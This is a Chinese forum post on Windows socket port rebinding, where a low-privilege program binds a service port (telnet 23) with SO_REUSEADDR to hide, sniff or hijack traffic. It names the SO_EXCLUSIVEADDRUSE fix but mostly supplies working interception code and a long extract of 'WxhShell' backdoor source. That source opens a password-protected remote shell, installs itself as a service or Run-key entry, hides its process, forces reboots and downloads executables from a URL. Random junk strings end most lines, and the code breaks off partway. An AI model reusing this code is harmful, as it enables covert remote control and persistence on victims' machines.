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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  Iz_#wO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lZ'ZL*  
v#^_|  
  saddr.sin_family = AF_INET; S UB rFsA  
I+GP`=\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j|-{*t{/x  
s#BSZP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); As>-9p>v  
qu`F,OG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r]3v.GZy  
MkK6.qV\z  
  这意味着什么?意味着可以进行如下的攻击: r-e-2y7  
K^m`3N"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M&SY2\\TB  
2Q;g|*]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QHHj.ZY  
3UgPVCT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,R$U(,>_0  
GeFu_7u!|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U-.A+#<IT9  
N2uTWT>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |-Q="7b%  
k*ZYT6Z?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `p#u9M>  
Q=u [j|0mc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  [1Q:  
O*lMIWx  
  #include HO}eu  
  #include v"x'rx#  
  #include Bk;/>gD  
  #include    H tx)MEZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p)c"xaTP#F  
  int main() ` st^i$A  
  { %) /Bl.{}<  
  WORD wVersionRequested; 70F(`;  
  DWORD ret; ? 4v"y@v  
  WSADATA wsaData; X,`^z,M%I  
  BOOL val; mV;)V8'  
  SOCKADDR_IN saddr; gg?O0W{  
  SOCKADDR_IN scaddr; LZ4Z]!V  
  int err; _]Y9Eoz  
  SOCKET s; =<.h.n  
  SOCKET sc; j"Z9}F@  
  int caddsize; '>Uip+'  
  HANDLE mt; ?WBA:?=$58  
  DWORD tid;   9jJ:T$}  
  wVersionRequested = MAKEWORD( 2, 2 ); AVO$R\1YR  
  err = WSAStartup( wVersionRequested, &wsaData ); {C'9?4&  
  if ( err != 0 ) { 7<zI'^l  
  printf("error!WSAStartup failed!\n"); QI4a@WB]ok  
  return -1; NOQSLT=  
  } 2PViY,V|  
  saddr.sin_family = AF_INET; &`B Tw1u  
   mQ=nU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3e?a$~9  
\Lz4ZZjSY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `ZPV.u/  
  saddr.sin_port = htons(23); i:sb_U+M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eMOnzW|h  
  { }kF*I@:g  
  printf("error!socket failed!\n"); mNQ*YCq.  
  return -1; 5;[h&jH  
  } ^$;5ZkQy  
  val = TRUE; !=p^@N7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .B_a3K4'{^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 115zvW  
  { :^J'_  
  printf("error!setsockopt failed!\n"); l~#%j( Yo  
  return -1; '-[?iF@l  
  } t}fU 2Yb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _xdFQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dk.VH!uVb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PbIir=  
KY9&Ky+2B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s-e<&*D[  
  { VI;)VJbq  
  ret=GetLastError(); *3h!&.zm  
  printf("error!bind failed!\n"); .]LP327u  
  return -1; wh#x`Nc  
  } ,K8(D<{  
  listen(s,2); =P`l+k3  
  while(1) yr q){W  
  { *GC9o/  
  caddsize = sizeof(scaddr); .ZVo0  
  //接受连接请求 ^ Iy'<J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E-b3#\^:  
  if(sc!=INVALID_SOCKET) QvDD   
  { 4^{~MgQWK+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GcHZ&m4  
  if(mt==NULL) b\^9::oY  
  { 2@?\"kR"!  
  printf("Thread Creat Failed!\n"); U,tWLX$@  
  break; vx4Jk]h+=L  
  } :M\3.7q  
  } !A#(bC  
  CloseHandle(mt); ,_U3p ,  
  } A>Xt 5vk+  
  closesocket(s); >OW>^%\!1  
  WSACleanup(); `cpUl*Y=  
  return 0; l>?k>NEpP  
  }   4qg] oiT  
  DWORD WINAPI ClientThread(LPVOID lpParam) ds<q"S {p  
  { \"=b8x  
  SOCKET ss = (SOCKET)lpParam; k-|b{QZ8!;  
  SOCKET sc; O_|p{65  
  unsigned char buf[4096]; PJ'.s  
  SOCKADDR_IN saddr; 8BggK6X  
  long num; dH+oV`  
  DWORD val; 1ZRSeh  
  DWORD ret; $ v~I n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PP!} w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r  |JZU  
  saddr.sin_family = AF_INET; RtScv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q+=D#x  
  saddr.sin_port = htons(23); -:  8[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gs9VCaIa  
  { f}? q  
  printf("error!socket failed!\n"); A"no!AN  
  return -1; JTfG^Nv>K  
  } dx[kG  
  val = 100; 6dQ]=];  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .+2@(r  
  { cP &XkAQ  
  ret = GetLastError(); { , zg  
  return -1; :Wmio\  
  } [B"CNnA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v@;!fBUt  
  { (g#,AX  
  ret = GetLastError(); |c3Yh,Sv  
  return -1; jLgx(bMn  
  } )@\m0bnF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X0Z r?$q  
  { WJ m:?,  
  printf("error!socket connect failed!\n"); hwB>@r2  
  closesocket(sc); M$+2f.(>k)  
  closesocket(ss); Wz-7oP%;I  
  return -1; B4ky%gF4  
  } 8jm\/?k|  
  while(1) -8D$[@y(  
  { =3<@{^Eg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N[8y+2SZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P4.snRQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O/bpm-h`8c  
  num = recv(ss,buf,4096,0); ]Q*eCt;l"K  
  if(num>0) h;`]rK;g  
  send(sc,buf,num,0); ZX03FJL7u  
  else if(num==0) }5a$Ka-  
  break; 6/&aBE=  
  num = recv(sc,buf,4096,0); `6 `oLu\l  
  if(num>0) >2@ a\  
  send(ss,buf,num,0); ;O Y*`(Id  
  else if(num==0) N77EM  
  break; $][$ e  
  } kKil] L  
  closesocket(ss); " H; i Av  
  closesocket(sc); +Rb0:r>kU  
  return 0 ; ju%t'u\'  
  } P},d`4Ty@  
!>gu#Q{\-  
4KCJ(<p|  
========================================================== a~"<lzu|$  
_M9-n  
下边附上一个代码,,WXhSHELL SVc5mS|up  
Lyj0$wbH`  
========================================================== 3f^~mTY9>]  
_$YT*o@0J  
#include "stdafx.h" $jtXN E?  
[Csv/  
#include <stdio.h> %9P)Okq  
#include <string.h> 268H!'!\  
#include <windows.h> sPUn"7  
#include <winsock2.h> >djTJ>dl_u  
#include <winsvc.h> Vs~!\<?  
#include <urlmon.h>  f]JLFg7  
! fSM6Vo  
#pragma comment (lib, "Ws2_32.lib") Bq)aA)gF  
#pragma comment (lib, "urlmon.lib") {'R\C5 :D7  
OJ Y_u[  
#define MAX_USER   100 // 最大客户端连接数 Lr}>Md  
#define BUF_SOCK   200 // sock buffer xBW{Wyh  
#define KEY_BUFF   255 // 输入 buffer 6pi^rpo  
ZJeTx.Gi6  
#define REBOOT     0   // 重启 v9 K{oB  
#define SHUTDOWN   1   // 关机 ~[d|:]  
m_n*_tX  
#define DEF_PORT   5000 // 监听端口 6fr@y=s2:  
'AjDB:Mt$  
#define REG_LEN     16   // 注册表键长度 Bm&%N?9  
#define SVC_LEN     80   // NT服务名长度 \"^.>+  
{^qp~0  
// 从dll定义API BV`,~n:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M,j3z #  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XexslzI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r:*0)UZlD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %.3] F2_Q  
IoI ,IX]i)  
// wxhshell配置信息 c _faW  
struct WSCFG { -F+dmI,1$  
  int ws_port;         // 监听端口 7TW</g(  
  char ws_passstr[REG_LEN]; // 口令 3~&h9#7 Ke  
  int ws_autoins;       // 安装标记, 1=yes 0=no :4, OA  
  char ws_regname[REG_LEN]; // 注册表键名 DHnu F@M  
  char ws_svcname[REG_LEN]; // 服务名 _[_mmf1;:'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @g~hYc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W nLMa|e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [~_()i=Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $pO gFA1'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rBY{&JhS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |KQkmc  
)^'g2gVK+p  
}; uqMe %  
5Sm)+FC :  
// default Wxhshell configuration zjVQ\L  
struct WSCFG wscfg={DEF_PORT, /K2=GLl;  
    "xuhuanlingzhe", !<P|:Oo*Dl  
    1, *MBu5 +u%e  
    "Wxhshell", KnjowK  
    "Wxhshell", 4v("qNw#  
            "WxhShell Service", }co*%F{1  
    "Wrsky Windows CmdShell Service", RN0=jo!58  
    "Please Input Your Password: ", ^Td_B03)  
  1, MPg"n-g*  
  "http://www.wrsky.com/wxhshell.exe", ao(lj  
  "Wxhshell.exe" |{G GATni  
    }; JO `KNI  
%tRQK$]c  
// 消息定义模块 ?\D=DIN-r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8A3pYW-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R^*h|7)E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z1t?+v+Ro*  
char *msg_ws_ext="\n\rExit."; dY'mY~Tv  
char *msg_ws_end="\n\rQuit."; I3wv6xZ2  
char *msg_ws_boot="\n\rReboot..."; w6 x{ <d  
char *msg_ws_poff="\n\rShutdown..."; X\a*q]"_  
char *msg_ws_down="\n\rSave to "; :Vyr8+]  
kA1C&  
char *msg_ws_err="\n\rErr!"; Pfv| K;3i  
char *msg_ws_ok="\n\rOK!"; ^bj aa  
'`K-rvF,C  
char ExeFile[MAX_PATH]; jbU=D:|  
int nUser = 0; >P/Nb]C  
HANDLE handles[MAX_USER]; 1 ynjDin<  
int OsIsNt; T1&^IO-F7$  
X/D^?BKC  
SERVICE_STATUS       serviceStatus; ]U8VU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b+g(=z+  
a9=pZ1QAG  
// 函数声明 DG!H8^  
int Install(void); [z^db0PU  
int Uninstall(void); v,] &[`  
int DownloadFile(char *sURL, SOCKET wsh); c-ahe;q  
int Boot(int flag); 3i c6!T#t"  
void HideProc(void); EGKj1_ml  
int GetOsVer(void); )t-Jc+*A>  
int Wxhshell(SOCKET wsl); wf= s-C  
void TalkWithClient(void *cs); ^^-uq)A  
int CmdShell(SOCKET sock); y ;$8C  
int StartFromService(void); WjrUns  
int StartWxhshell(LPSTR lpCmdLine); CfWtCA  
~baVS-v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mimJ_=]DC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BV8-\R@  
?1G7=R  
// 数据结构和表定义 79?%g=#=  
SERVICE_TABLE_ENTRY DispatchTable[] = d\R]>  
{ fW,,@2P  
{wscfg.ws_svcname, NTServiceMain}, b& l/)DU  
{NULL, NULL} &%ZiI@O-  
}; TC=djC4$/  
o?Wp[{K  
// 自我安装 h5:>o  
int Install(void) 6U`<+[K7  
{ d0;$k,  
  char svExeFile[MAX_PATH]; yz CQ  
  HKEY key; jBTXs5q  
  strcpy(svExeFile,ExeFile); J9kmIMq-C  
 n]N+  
// 如果是win9x系统,修改注册表设为自启动 ;0R>Dg  
if(!OsIsNt) { krw_1Mm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R>ak 3Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =ca<..yh[d  
  RegCloseKey(key); 0M'[|ci d|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A@W/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \GR M,c  
  RegCloseKey(key); a*pwVn  
  return 0; .!kO2/:6  
    } } +@H&}u  
  } [`_ZlC  
} e+!+(D  
else { D?v)Xqw=  
Q bg,q  
// 如果是NT以上系统,安装为系统服务 =` b/ip5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4rmSo^vK  
if (schSCManager!=0) {x+"Ru~7,  
{ ^+ hJ& 9W  
  SC_HANDLE schService = CreateService ]$StbBP  
  ( cPemrNxydN  
  schSCManager, O%g%*9  
  wscfg.ws_svcname, X/ \5j   
  wscfg.ws_svcdisp, g `)5g5  
  SERVICE_ALL_ACCESS, lE8M.ho\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0{8^)apII  
  SERVICE_AUTO_START, AF=9KWqf  
  SERVICE_ERROR_NORMAL, 3N'fHy  
  svExeFile, P~>E  
  NULL, j &#A 9!  
  NULL, wc3OOyP@0  
  NULL, HOn,c@.9Y  
  NULL, ^k'?e"[gTs  
  NULL ]<pnHh+2A  
  ); 6a+w/IO3OU  
  if (schService!=0) =*icCng  
  { fI/?2ZH  
  CloseServiceHandle(schService); PFqc_!Pm  
  CloseServiceHandle(schSCManager); "w)Y0Qq*z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _86#$|kw  
  strcat(svExeFile,wscfg.ws_svcname); Q Eh_2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `Jvy~T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W;Rx(o>  
  RegCloseKey(key); =5UT'3p>  
  return 0; LIo3a38n?y  
    } hdw-gem{?  
  } +B 4&$z  
  CloseServiceHandle(schSCManager); $#cZJ@;]  
} YpAJ7 E|7  
} "k8Yc<`u  
b.`<T "y  
return 1; X `[P11`  
} JQ>GKu~  
NV|[.g=lg  
// 自我卸载 GAZTCkB"  
int Uninstall(void) [3yzVcr~4  
{ 4k HFfc  
  HKEY key; ad\?@>[ I  
2 kOFyD  
if(!OsIsNt) { -:hiLZJ7-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n~1'M/wh  
  RegDeleteValue(key,wscfg.ws_regname); LDj'L~H  
  RegCloseKey(key); .`iG} j)\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ElAho3 W  
  RegDeleteValue(key,wscfg.ws_regname); I^M %+\  
  RegCloseKey(key); -/#VD&MJO=  
  return 0; SWAggW)  
  } 73-*| @6  
} 5/v,|  
} y^rcUPLT  
else { YF+hN\  
F-\Swbx+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *h<= (Y%   
if (schSCManager!=0) 0{ZYYB&"~J  
{ BFU6?\r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g> lJZD@  
  if (schService!=0) m15MA.R>  
  { fn%Gu s~  
  if(DeleteService(schService)!=0) { u|!On  
  CloseServiceHandle(schService); 0ssKZ9Lc  
  CloseServiceHandle(schSCManager); *V\z]Dy-[  
  return 0; /Hox]r]'e  
  } iqzl(9o.D  
  CloseServiceHandle(schService); sr0.4VU1  
  } F{#m~4O  
  CloseServiceHandle(schSCManager); LQ,RQ~!  
} dLtSa\2Hn  
} +E8Itb,  
7x/S4Gs'4  
return 1; E<[_L!2  
} -BY'E$]4  
bYuQ"K A$  
// 从指定url下载文件 0_}^IiG  
int DownloadFile(char *sURL, SOCKET wsh) Lx{bR=  
{  T4}SF  
  HRESULT hr; xW$F-n  
char seps[]= "/"; t/;@~jfr@  
char *token; \m.ap+dFa  
char *file; j@kL`Q\&I  
char myURL[MAX_PATH]; /`M> 3q[  
char myFILE[MAX_PATH]; hEO#uAR^Z  
4H7 3a5f  
strcpy(myURL,sURL); W\(u1>lj  
  token=strtok(myURL,seps); +3HukoR(  
  while(token!=NULL) !Gv*iWg  
  { _(CuuP$`I  
    file=token; %X)i-^T  
  token=strtok(NULL,seps); ~s}0z&v^te  
  } b-/ztZ@u  
A)5-w`1  
GetCurrentDirectory(MAX_PATH,myFILE); 3Y\7+975m  
strcat(myFILE, "\\"); -mSiZ  
strcat(myFILE, file); l!n<.tQW  
  send(wsh,myFILE,strlen(myFILE),0); ]gN]Cw\L  
send(wsh,"...",3,0); Z_ Gb9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~c e?xr|  
  if(hr==S_OK) [C GFzxz$  
return 0; .U8Se+;  
else zeqP:goy  
return 1; IrJPP2Q  
pUvbIbg+  
} Qg)=4(<Hr  
#n=b*.  
// 系统电源模块 kzA%.bP|  
int Boot(int flag) U'pm5Mc\q  
{ Zk#^H*jgx  
  HANDLE hToken; z3l= aAw8  
  TOKEN_PRIVILEGES tkp; / 38b:,  
8 S'g%  
  if(OsIsNt) { }3tbqFiH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3pxm0|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sZ,MNF8i  
    tkp.PrivilegeCount = 1; _n.2'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LPjsR=xi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s]=s2.=  
if(flag==REBOOT) { 3xhv~be  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~R`Rj*Q2Y  
  return 0; GP"(+5  
} 7g-#v'.N  
else { pRsYA7Ti  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Sxsmf0"  
  return 0; >".,=u'  
} ]J^ 9iDTTA  
  } .s4hFB^n  
  else { U] 2fV|Hn  
if(flag==REBOOT) { +k!Y]_&(:f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r]x;JBy  
  return 0; < V?CM(1C  
} B]PTe~n^  
else { 4<S*gu*W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8:Yha4<Bv7  
  return 0; $9 GRAM.  
} ^!]Hm&.a  
} +ahr-v^R<  
MC.,n$O}6  
return 1; $}d| ~q\  
} UcCkn7}  
s*R \!L  
// win9x进程隐藏模块 JPS7L}Kv  
void HideProc(void) MCamc  
{  } z4=3 '  
UOn L^Z}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qp(F}@  
  if ( hKernel != NULL ) *}9i@DP1,  
  { q&IO9/[dk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Te%'9-jk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R jO9E.nm  
    FreeLibrary(hKernel); I0 y+,~\  
  } =<-tD<  
o0-7#2  
return; AL.zF\?  
} /o =V (  
K\ww,S  
// 获取操作系统版本 2Wlk]  
int GetOsVer(void) W)"PYC4  
{ ^(ks^<}  
  OSVERSIONINFO winfo; VjU;[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5YJn<XEc  
  GetVersionEx(&winfo); 1y5]+GU'`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iSTr;>A  
  return 1; QK0  
  else _(J7^rN  
  return 0; QN[-XQ>Xt  
} )hH9VGZq(  
GyV3]Qqj  
// 客户端句柄模块 !F0MLvdX7^  
int Wxhshell(SOCKET wsl) ;!4Bw"Gg  
{ p*10u@,  
  SOCKET wsh; qC9$xIWq  
  struct sockaddr_in client; ^/ K\a ,  
  DWORD myID; j(|G) F  
9Vx2VjK2'  
  while(nUser<MAX_USER) IVYWda0m  
{ OE(H:^ZR  
  int nSize=sizeof(client); !FweXFl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %H:uE*WZ  
  if(wsh==INVALID_SOCKET) return 1; qvz2u]IOw  
Wjt1NfS&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `nc cRy< l  
if(handles[nUser]==0) .I{b]6  
  closesocket(wsh); ?45kN=%*s  
else ScrEtN  
  nUser++; ! /Z{uy  
  } = GirUW D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I__|+%oC  
ag^L' h$  
  return 0; !j8h$+:K  
} 37 )Dx  
*F+t`<2  
// 关闭 socket QRnkj]b  
void CloseIt(SOCKET wsh) .gNWDk0$Y  
{ ]%IcUd}  
closesocket(wsh); :ho)3kB  
nUser--; @sly-2{e1  
ExitThread(0); D'aq^T'  
} ~LPxVYhK  
~ \tI9L?|A  
// 客户端请求句柄 -;_`>OU{  
void TalkWithClient(void *cs) ` bd  
{ ;aBK4<-vl  
-SaH_Nuj  
  SOCKET wsh=(SOCKET)cs; =whZ?,u1   
  char pwd[SVC_LEN]; 0uzm@'^  
  char cmd[KEY_BUFF]; Ec| Gom?  
char chr[1]; q10gKVJum  
int i,j; W=M`Bkw{  
<}b`2/wP  
  while (nUser < MAX_USER) { &| %<=\  
.lfKS!m2  
if(wscfg.ws_passstr) { ud K)F$7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'v^CA}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c[ ]_gUp8  
  //ZeroMemory(pwd,KEY_BUFF); ; >3q@9\D  
      i=0; i(9=` A}  
  while(i<SVC_LEN) { ]Q=D'1 MM  
k"|4 LPv[  
  // 设置超时 '3Yci(t+  
  fd_set FdRead; I|lz;i}$  
  struct timeval TimeOut; Z~{0XG\Y  
  FD_ZERO(&FdRead); 2g1[ E_?  
  FD_SET(wsh,&FdRead); /5 Wy) -  
  TimeOut.tv_sec=8; a'w~7y!}  
  TimeOut.tv_usec=0; R6HMi#eF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <}-[9fW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pg" uisT#>  
9Vz1*4Ln  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h)BRSs?v_D  
  pwd=chr[0]; Q[^IX  
  if(chr[0]==0xd || chr[0]==0xa) { zCKZv|j6  
  pwd=0; {J q[N}  
  break; T;jp2 #  
  } kM5N#|!  
  i++; U'zW; Lt  
    } }^WQNdws56  
<`*}$Zh  
  // 如果是非法用户,关闭 socket Pk[:+. f(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vJDK]p<}  
} i rMZLc6  
w#eD5y~'oo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y 3r m')c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IlsXj`!e  
O{a<f7 W  
while(1) { v!?bEM3D  
H];|<G  
  ZeroMemory(cmd,KEY_BUFF); R*IO%9O  
Qj~m;F!  
      // 自动支持客户端 telnet标准   . $uvQpyh  
  j=0; o^;$-O!/  
  while(j<KEY_BUFF) { 6H67$?jMyJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <jF]SN  
  cmd[j]=chr[0]; 6 ]W!>jDc  
  if(chr[0]==0xa || chr[0]==0xd) { xc[@lr  
  cmd[j]=0; 0ZPwEP  
  break; T!5m'Q.  
  } 8 $0D-z  
  j++; pkpD1c^  
    } IRNL(9H  
|WH'aGG  
  // 下载文件 QlJ cj+_h  
  if(strstr(cmd,"http://")) { \bqIe}3V7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PHl{pE*  
  if(DownloadFile(cmd,wsh)) &=H{ 36i@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w*<XPBi  
  else Htn=h~U`z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,~8:^*0s  
  } !/+ZKx("9  
  else { o9ZHa  
GVk&n"9kp  
    switch(cmd[0]) { :@)UI,  
  cjt<&b*  
  // 帮助 \#.,@g  
  case '?': { 'HTr02riY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sHD8#t^{  
    break; u Jy1vI  
  } YO7Y1(`  
  // 安装 Wr Ht  
  case 'i': {  S[!K  
    if(Install()) \$Y Kw0K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6M9t<DQV  
    else k\$))<3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,dn9tY3  
    break; Vy0s%k  
    } M*FUtu  
  // 卸载 I&~kwOP  
  case 'r': { \Zz"%i  
    if(Uninstall()) 0 3fCn"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); exw~SvT3  
    else ,gGIkl&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )o)<5Iqh  
    break; }&D~P>1  
    } h\\fb[``  
  // 显示 wxhshell 所在路径 qd#?8  
  case 'p': { qp_lMz  
    char svExeFile[MAX_PATH]; .gTla  
    strcpy(svExeFile,"\n\r"); O*{<{3  
      strcat(svExeFile,ExeFile); Pe6}y  
        send(wsh,svExeFile,strlen(svExeFile),0); "*W:  
    break; `s5<PCq  
    } X.hU23w  
  // 重启 :)VO,b~r  
  case 'b': { $Llv6<B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -SZXUN  
    if(Boot(REBOOT)) ,?k[<C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IvGQ7 VLr  
    else { "s!!\/^9C  
    closesocket(wsh); 52?zBl`|  
    ExitThread(0); q/U(j&8W{  
    } /5A um ?~  
    break; eygmhaE  
    } +\g/KbV7  
  // 关机 X{4jyi-<  
  case 'd': { /a.4atb0  
